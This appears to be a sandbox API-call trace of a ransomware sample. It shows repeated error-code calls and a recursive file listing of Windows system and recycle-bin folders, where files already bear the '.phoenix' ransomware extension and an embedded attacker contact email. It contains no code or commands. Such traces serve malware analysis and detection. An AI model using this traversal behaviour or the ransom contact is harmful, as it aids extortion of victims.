	[0218.860] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.861] SetLastError (dwErrCode=0x0) 
	[0218.861] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.862] SetLastError (dwErrCode=0x0) 
	[0218.862] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.863] GetLastError () returned 0x0
	[0218.863] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.864] GetLastError () returned 0x0
	[0218.864] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] GetLastError () returned 0x0
	[0218.865] SetLastError (dwErrCode=0x0) 
	[0218.865] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ca95630, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ca95630, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cae1b2e, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x18a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="oobe_2017_09_07_03_08_57_737.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="OOBE_2~1.PHO")) returned 1
	[0218.865] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce02cce, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARTNE~1.PHO")) returned 1
	[0218.865] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce02cce, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupCompleteResult.log.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARTNE~1.PHO")) returned 0
	[0218.866] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.866] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.867] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 1
	[0218.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$GetCurrent\\SafeOS\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x139560
	[0218.868] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.868] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb07eb2, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb07eb2, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cbece46, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x233d2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentOOBE.dll.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="GETCUR~1.PHO")) returned 1
	[0218.868] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb7a550, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb7a550, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce28f85, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x1a2, dwReserved0=0x0, dwReserved1=0x0, cFileName="GetCurrentRollback.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="GETCUR~2.PHO")) returned 1
	[0218.868] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cb2df9e, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cb2df9e, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cc14375, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x362, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PARTNE~1.PHO")) returned 1
	[0218.868] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc5f39c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cc5f39c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cc8564f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x0, dwReserved1=0x0, cFileName="preoobe.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="PREOOB~1.PHO")) returned 1
	[0218.868] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc5f39c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cc5f39c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cc8564f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPC~1.PHO")) returned 1
	[0218.868] FindNextFileW (in: hFindFile=0x139560, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc5f39c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3cc5f39c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3cc8564f, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x242, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupComplete.cmd.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="SETUPC~1.PHO")) returned 0
	[0218.868] FindClose (in: hFindFile=0x139560 | out: hFindFile=0x139560) returned 1
	[0218.869] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.869] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x9575af11, ftLastAccessTime.dwHighDateTime=0x1d3273b, ftLastWriteTime.dwLowDateTime=0x957833a7, ftLastWriteTime.dwHighDateTime=0x1d3273b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="SafeOS", cAlternateFileName="")) returned 0
	[0218.869] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0218.869] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x790078 | out: hHeap=0x680000) returned 1
	[0218.870] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x2b8f794 | out: lpFindFileData=0x2b8f794*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680000, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 1
	[0218.870] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\*", lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x1393a0
	[0218.871] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1
	[0218.871] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-18", cAlternateFileName="")) returned 1
	[0218.871] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1391e0
	[0218.871] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.871] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce7532c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce7532c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce7532c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DESKTO~1.PHO")) returned 1
	[0218.871] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce7532c, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce7532c, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce7532c, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DESKTO~1.PHO")) returned 0
	[0218.871] FindClose (in: hFindFile=0x1391e0 | out: hFindFile=0x1391e0) returned 1
	[0218.871] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.871] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1
	[0218.872] FindFirstFileW (in: lpFileName="\\\\?\\C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1393e0
	[0218.872] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0218.872] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xea6a35d8, ftCreationTime.dwHighDateTime=0x1d502b0, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0218.872] SetEvent (hEvent=0x29c) returned 1
	[0218.872] ResetEvent (hEvent=0x2a0) returned 1
	[0218.872] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce28f85, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce28f85, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce54b38, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DESKTO~1.PHO")) returned 1
	[0218.872] FindNextFileW (in: hFindFile=0x1393e0, lpFindFileData=0x2b8f28c | out: lpFindFileData=0x2b8f28c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ce28f85, ftCreationTime.dwHighDateTime=0x1d502a8, ftLastAccessTime.dwLowDateTime=0x3ce28f85, ftLastAccessTime.dwHighDateTime=0x1d502a8, ftLastWriteTime.dwLowDateTime=0x3ce54b38, ftLastWriteTime.dwHighDateTime=0x1d502a8, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id[B4197730-0001].[costelloh@aol.com].phoenix", cAlternateFileName="DESKTO~1.PHO")) returned 0
	[0218.872] FindClose (in: hFindFile=0x1393e0 | out: hFindFile=0x1393e0) returned 1
	[0218.872] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x7a0080 | out: hHeap=0x680000) returned 1
	[0218.873] FindNextFileW (in: hFindFile=0x1393a0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xea6a35d8, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xea6a35d8, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0
	[0218.873] FindClose (in: hFindFile=0x1393a0 | out: hFindFile=0x1393a0) returned 1
	[0218.873] HeapFree (in: hHeap=0x680000, dwFlags=0x0, lpMem=0x790078 | out: hHeap=0x680000) returned 1
	[0218.874] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x2b8f794 | out: lpFindFileData=0x2b8f794*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1
	[0218.874] FindNextFileW (in: hFindFile=0x1391a0, lpFindFileData=0x2b8f794 | out: lpFindFileData=0x2b8f794*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf7cab633, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xf7cab633, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1
	[0218.875] FindFirstFileW (in: lpFileName="\\\\?\\C:\\588bce7c90097ed212\\*", lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf7cab633, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xf7cab633, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName=".", cAlternateFileName="")) returned 0x1391e0
	[0218.875] FindNextFileW (in: hFindFile=0x1391e0, lpFindFileData=0x2b8f510 | out: lpFindFileData=0x2b8f510*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf7cab633, ftLastAccessTime.dwHighDateTime=0x1d502b0, ftLastWriteTime.dwLowDateTime=0xf7cab633, ftLastWriteTime.dwHighDateTime=0x1d502b0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x430054, dwReserved1=0x7e0055, cFileName="..", cAlternateFileName="")) returned 1
